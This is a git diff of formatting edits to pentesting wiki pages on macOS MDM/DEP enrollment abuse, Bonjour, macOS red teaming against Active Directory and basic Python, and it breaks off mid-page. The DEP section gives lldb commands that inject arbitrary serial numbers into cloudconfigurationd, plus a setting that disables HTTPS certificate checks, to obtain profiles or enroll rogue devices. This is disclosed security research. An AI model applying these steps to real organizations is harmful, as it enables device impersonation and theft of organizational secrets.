b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md index ec9ba04c..67dcf050 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md @@ -2,10 +2,10 @@ ## Intro -As ****[**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). +As** **[**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. -**The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)\*\*\*\* +**The following research is taken from **[**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)**** ## Reversing the process @@ -25,7 +25,7 @@ When using either `mdmclient` or `profiles` to initiate a DEP check-in, the `CPF During the DEP check-in process, `cloudconfigurationd` requests an _Activation Record_ from _iprofiles.apple.com/macProfile_. The request payload is a JSON dictionary containing two key-value pairs: -```text +``` { "sn": "", action": "RequestProfileConfiguration @@ -36,7 +36,7 @@ The payload is signed and encrypted using a scheme internally referred to as "Ab In `cloudconfigurationd`, fetching the _Activation Record_ is handled by the `MCTeslaConfigurationFetcher` class. The general flow from `[MCTeslaConfigurationFetcher enterState:]` is as follows: -```text +``` rsi = @selector(verifyConfigBag); rsi = @selector(startCertificateFetch); rsi = @selector(initializeAbsinthe); @@ -47,24 +47,24 @@ rsi = @selector(sendConfigurationInfoToRemote); rsi = @selector(sendFailureNoticeToRemote); ``` -Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. +Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering **this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. ### MITMing DEP Requests -We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com/). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org/) format and contains two key-value pairs. +We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org) format and contains two key-value pairs. -```text +``` { "action": "RequestProfileConfiguration", sn": " } ``` -Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) \(TLS\), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. +Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. However, the `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` method checks the validity of the server certificate, and will abort if server trust cannot be verified. -```text +``` [ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011 "The Device Enrollment server trust could not be verified. Please contact your system administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be @@ -75,7 +75,7 @@ MCErrorType=MCFatalError} The error message shown above is located in a binary _Errors.strings_ file with the key `CLOUD_CONFIG_SERVER_TRUST_ERROR`, which is located at `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, along with other related error messages. -```text +``` $ cd /System/Library/CoreServices $ rg "The Device Enrollment server trust could not be verified" ManagedClient.app/Contents/Resources/English.lproj/Errors.strings @@ -84,13 +84,13 @@ ManagedClient.app/Contents/Resources/English.lproj/Errors.strings The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error_strings_output) with the built-in `plutil` command. -```text +``` $ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings ``` After looking into the `MCTeslaConfigurationFetcher` class further, though, it became clear that this server trust behavior can be circumvented by enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option on the `com.apple.ManagedClient.cloudconfigurationd` preference domain. -```text +``` loc_100006406: rax = [NSUserDefaults standardUserDefaults]; rax = [rax retain]; @@ -102,42 +102,42 @@ if (r14 != 0x1) goto loc_10000646f; The `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option can be set with the `defaults` command. -```text +``` sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes ``` With SSL Proxying enabled for _iprofiles.apple.com_ and `cloudconfigurationd` configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy. -However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, \(`NACSign`\), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org/) debugger. +However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, (`NACSign`), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org) debugger. ### Instrumenting System Binaries That Interact With DEP -The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com/) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`. +The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`. One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us. **System Integrity Protection** -In order to instrument system binaries, \(such as `cloudconfigurationd`\) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) \(SIP\) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: +In order to instrument system binaries, (such as `cloudconfigurationd`) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: -```text +``` csrutil enable --without debug ``` -It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible \(and recommended\) to do this on non-critical Virtual Machines rather than on the host operating system. +It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system. **Binary Instrumentation With LLDB** With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the `cloudconfigurationd` binary. Because `cloudconfigurationd` requires elevated privileges to run, we need to start `lldb` with `sudo`. -```text +``` $ sudo lldb (lldb) process attach --waitfor --name cloudconfigurationd ``` While `lldb` is waiting, we can then attach to `cloudconfigurationd` by running `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt. -```text +``` Process 861 stopped * thread #1, stop reason = signal SIGSTOP @@ -154,7 +154,7 @@ One of the first things we looked for when reversing `mdmclient` and `cloudconfi Although `cloudconfigurationd` is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within `mdmclient`. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled. -```text +``` int sub_10002000f() { if (sub_100042b6f() != 0x0) { r14 = @"2222XXJREUF"; @@ -171,7 +171,7 @@ return rax; The system serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), unless the return value of `sub_10002000f` is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled. -```text +``` void sub_1000321ca(void * _block) { if (sub_10002406f() != 0x0) { *(int8_t *)0x100097b68 = 0x1; @@ -185,7 +185,7 @@ We documented the existence of “server stress test mode,” but didn’t explo Next, we looked at how the system serial number is retrieved within `cloudconfigurationd`. -```text +``` int sub_10000c100(int arg0, int arg1, int arg2, int arg3) { var_50 = arg3; r12 = arg2; @@ -207,7 +207,7 @@ As can be seen above, the serial number is retrieved from the [`IORegistry`](htt Using `lldb`, we were able to modify the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) by setting a breakpoint for `IOServiceGetMatchingService` and creating a new string variable containing an arbitrary serial number and rewriting the `r14` register to point to the memory address of the variable we created. -```text +``` (lldb) breakpoint set -n IOServiceGetMatchingService # Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. (lldb) process attach --waitfor --name cloudconfigurationd @@ -241,15 +241,15 @@ Although we were successful in modifying the serial number retrieved from the [` **Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization** -Next, we tried setting the serial number that is sent in the `macProfile` payload in a different way. This time, rather than modifying the system serial number retrieved via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe \(`NACSign`\). The best point to look at appeared to be `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, which roughly performs the following steps: +Next, we tried setting the serial number that is sent in the `macProfile` payload in a different way. This time, rather than modifying the system serial number retrieved via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (`NACSign`). The best point to look at appeared to be `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, which roughly performs the following steps: * Creates a new `NSMutableData` object * Calls `[MCTeslaConfigurationFetcher setConfigurationData:]`, passing it the new `NSMutableData` object * Calls `[MCTeslaConfigurationFetcher profileRequestDictionary]`, which returns an `NSDictionary` object containing two key-value pairs: * `sn`: The system serial number -* `action`: The remote action to perform \(with `sn` as its argument\) +* `action`: The remote action to perform (with `sn` as its argument) * Calls `[NSJSONSerialization dataWithJSONObject:]`, passing it the `NSDictionary` from `profileRequestDictionary` -* Signs the JSON payload using Absinthe \(`NACSign`\) +* Signs the JSON payload using Absinthe (`NACSign`) * Base64 encodes the signed JSON payload * Sets the HTTP method to `POST` * Sets the HTTP body to the base64 encoded, signed JSON payload @@ -257,9 +257,9 @@ Next, we tried setting the serial number that is sent in the `macProfile` payloa * Sets the `User-Agent` HTTP header to `ConfigClient-1.0` * Uses the `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` method to perform the HTTP request -We then modified the `NSDictionary` object returned from `profileRequestDictionary` before being converted into JSON. To do this, a breakpoint was set on `dataWithJSONObject` in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly \(`rdx`\) that we got the results we expected to see. +We then modified the `NSDictionary` object returned from `profileRequestDictionary` before being converted into JSON. To do this, a breakpoint was set on `dataWithJSONObject` in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (`rdx`) that we got the results we expected to see. -```text +``` po $rdx { action = RequestProfileConfiguration; @@ -269,7 +269,7 @@ sn = C02XXYYZZNNMM; The above is a pretty-printed representation of the `NSDictionary` object returned by `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Our next challenge was to modify the in-memory `NSDictionary` containing the serial number. -```text +``` (lldb) breakpoint set -r "dataWithJSONObject" # Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. (lldb) process attach --name "cloudconfigurationd" --waitfor @@ -295,23 +295,23 @@ The listing above does the following: * Creates a regular expression breakpoint for the `dataWithJSONObject` selector * Waits for the `cloudconfigurationd` process to start, then attaches to it -* `continue`s execution of the program, \(because the first breakpoint we hit for `dataWithJSONObject` is not the one called on the `profileRequestDictionary`\) -* Creates and prints \(in hex format due to the `/x`\) the result of creating our arbitrary `NSDictionary` +* `continue`s execution of the program, (because the first breakpoint we hit for `dataWithJSONObject` is not the one called on the `profileRequestDictionary`) +* Creates and prints (in hex format due to the `/x`) the result of creating our arbitrary `NSDictionary` * Since we already know the names of the required keys we can simply set the serial number to one of our choice for `sn` and leave action alone * The printout of the result of creating this new `NSDictionary` tells us we have two key-value pairs at a specific memory location Our final step was now to repeat the same step of writing to `rdx` the memory location of our custom `NSDictionary` object that contains our chosen serial number: -```text +``` (lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable (lldb) continue ``` -This points the `rdx` register to our new `NSDictionary` right before it's serialized to [JSON](https://www.json.org/) and `POST`ed to _iprofiles.apple.com/macProfile_, then `continue`s program flow. +This points the `rdx` register to our new `NSDictionary` right before it's serialized to [JSON](https://www.json.org) and `POST`ed to _iprofiles.apple.com/macProfile_, then `continue`s program flow. -This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of \(null\), the debug log for `ManagedClient` showed the complete DEP profile for the device: +This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for `ManagedClient` showed the complete DEP profile for the device: -```text +``` Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration: { AllowPairing = 1; @@ -362,15 +362,15 @@ Once we had the initial proof-of-concept demonstrating how to retrieve a valid D Fortunately, the LLDB API is available in Python through a [script-bridging interface](https://lldb.llvm.org/python-reference.html). On macOS systems with the [Xcode Command Line Tools](https://developer.apple.com/download/more/) installed, the `lldb` Python module can be imported as follows: -```text +``` import lldb ``` This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the `cloudconfigurationd` process to check for DEP profiles. -![Charles SSL Proxying Settings.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800&fit=contain&s=d1c9216716bf619e7e10e45c9968f83b) +![Charles SSL Proxying Settings.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b) -![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800&fit=contain&s=4f7b95efd02245f9953487dcaac6a961) +![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) ### Impact @@ -378,9 +378,9 @@ There are a number of scenarios in which Apple's Device Enrollment Program could #### Information Disclosure -As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, \(or DEP profile\), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, \(either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version\). +As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version). -```text +``` Activation record: { AllowPairing = 1; AnchorCertificates = ( @@ -415,9 +415,8 @@ Although some of this information might be publicly available for certain organi #### Rogue DEP Enrollment -The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, \(either through [OSINT](https://en.wikipedia.org/wiki/Open-source_intelligence), social engineering, or by brute-force\), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. +The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to [expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep). This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network. - diff --git a/macos/macos-security-and-privilege-escalation/macos-protocols.md b/macos/macos-security-and-privilege-escalation/macos-protocols.md index 38a0bfd2..384995d6 100644 --- a/macos/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos/macos-security-and-privilege-escalation/macos-protocols.md @@ -2,21 +2,21 @@ ## Bonjour -**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf. +**Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered **by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network** aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ Zero Configuration Networking, such as Bonjour provides: -* Must be able to **obtain an IP Address** \(even without a DHCP server\) -* Must be able to do **name-to-address translation** \(even without a DNS server\) +* Must be able to **obtain an IP Address** (even without a DHCP server) +* Must be able to do **name-to-address translation** (even without a DNS server) * Must be able to **discover services on the network** The device will get an **IP address in the range 169.254/16** and will check if any other device is using that IP address. If not, it will keep the IP address. Macs keeps an entry in their routing table for this subnet: `netstat -rn | grep 169` -For DNS the **Multicast DNS \(mDNS\) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables. -Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** \(might be based on the hostname or a completely random one\). +For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ +Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). -For **discovering services DNS Service Discovery \(DNS-SD\)** is used. +For **discovering services DNS Service Discovery (DNS-SD)** is used. -The final requirement of Zero Configuration Networking is met by **DNS Service Discovery \(DNS-SD\)**. DNS Service Discovery uses the syntax from DNS SRV records, but uses **DNS PTR records so that multiple results can be returned** if more than one host offers a particular service. A client requests the PTR lookup for the name `.` and **receives** a list of zero or more PTR records of the form `..`. +The final requirement of Zero Configuration Networking is met by **DNS Service Discovery (DNS-SD)**. DNS Service Discovery uses the syntax from DNS SRV records, but uses **DNS PTR records so that multiple results can be returned** if more than one host offers a particular service. A client requests the PTR lookup for the name `.` and **receives** a list of zero or more PTR records of the form `..`. The `dns-sd` binary can be used to **advertise services and perform lookups** for services: @@ -43,7 +43,7 @@ dns-sd -B _http._tcp When a new service is started the **new service mulitcasts its presence to everyone** on the subnet. The listener didn’t have to ask; it just had to be listening. -You ca use [**this tool**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) to see the **offered services** in your current local network. +You ca use [**this tool**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) to see the **offered services** in your current local network.\ Or you can write your own scripts in python with [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf): ```python @@ -77,6 +77,5 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p ## References -* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)\*\*\*\* -* \*\*\*\*[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)\*\*\*\* - +* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?\_encoding=UTF8\&me=\&qid=)**** +* ****[**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)**** diff --git a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md index 74ce5453..3a48b1cd 100644 --- a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md +++ b/macos/macos-security-and-privilege-escalation/macos-red-teaming.md @@ -5,27 +5,37 @@ * JAMF Pro: `jamf checkJSSConnection` * Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +If you manage to** compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: -{% page-ref page="macos-mdm/" %} +{% content-ref url="macos-mdm/" %} +[macos-mdm](macos-mdm/) +{% endcontent-ref %} And also about **MacOS** "special" **network** **protocols**: -{% page-ref page="macos-protocols.md" %} +{% content-ref url="macos-protocols.md" %} +[macos-protocols.md](macos-protocols.md) +{% endcontent-ref %} ## Active Directory In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: -{% page-ref page="../../pentesting/pentesting-ldap.md" %} +{% content-ref url="../../pentesting/pentesting-ldap.md" %} +[pentesting-ldap.md](../../pentesting/pentesting-ldap.md) +{% endcontent-ref %} -{% page-ref page="../../windows/active-directory-methodology/" %} +{% content-ref url="../../windows/active-directory-methodology/" %} +[active-directory-methodology](../../windows/active-directory-methodology/) +{% endcontent-ref %} -{% page-ref page="../../pentesting/pentesting-kerberos-88/" %} +{% content-ref url="../../pentesting/pentesting-kerberos-88/" %} +[pentesting-kerberos-88](../../pentesting/pentesting-kerberos-88/) +{% endcontent-ref %} -Some **local MacOS tool** that may also help you is `dscl`: +Some **local MacOS tool **that may also help you is `dscl`: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / @@ -34,12 +44,12 @@ dscl "/Active Directory/[Domain]/All Domains" ls / Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: * [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -* \*\*\*\*[**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -* \*\*\*\*[**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation \(JXA\) tool to do Active Directory enumeration. +* ****[**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. +* ****[**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. ### Domain Information -```text +``` echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` @@ -51,8 +61,8 @@ The three types of MacOS users are: * **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. * **Mobile Users** — Active Directory users with a local backup for their credentials and files. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. +The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ +__For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: @@ -86,15 +96,14 @@ More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Dis ## External Services -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** \(like github, aws...\) via OneLogin: +MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin: -![](../../.gitbook/assets/image%20%28562%29.png) +![](<../../.gitbook/assets/image (563).png>) -### +### ## References * [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E) * [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) * [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) - diff --git a/misc/basic-python/README.md b/misc/basic-python/README.md index 09aef9bb..74b6f7cf 100644 --- a/misc/basic-python/README.md +++ b/misc/basic-python/README.md @@ -4,65 +4,65 @@ ### Usefull information -It is an interpreted language -list\(xrange\(\)\) == range\(\) --> In python3 range is the xrange of python2 \(it is not a list but a generator\) +It is an interpreted language\ +list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\ The difference between a Tuple and a List is that the position of a value in a tuple gives it a meaning but the lists are just ordered values. Tuples have structures, lists have order ### Main operations -To raise a number you should do: 3\*\*2 \(it isn't 3^2\) -If you do 2/3 it returns 1 because you are dividing two ints. If you want decimals you should divide floats \(2.0/3.0\). -i >= j -i <= j -i == j -i != j -a and b -a or b -not a -float\(a\) -int\(a\) -str\(d\) -ord\("A"\) = 65 -chr\(65\) = 'A' -hex\(100\) = '0x64' -hex\(100\)\[2:\] = '64' -isinstance\(1, int\) = True -"a b".split\(" "\) = \['a', 'b'\] -" ".join\(\['a', 'b'\]\) = "a b" -"abcdef".startswith\("ab"\) = True -"abcdef".contains\("abc"\) = True -"abc\n".strip\(\) = "abc" -"apbc".replace\("p",""\) = "abc" -dir\(str\) = List of all the availble methods -help\(str\) = Definition of the class str -"a".upper\(\) = "A" -"A".lower\(\) = "a" -"abc".capitalize\(\) = "Abc" -sum\(\[1,2,3\]\) = 6 -sorted\(\[1,43,5,3,21,4\]\) +To raise a number you should do: 3\*\*2 (it isn't 3^2)\ +If you do 2/3 it returns 1 because you are dividing two ints. If you want decimals you should divide floats (2.0/3.0).\ +i >= j\ +i <= 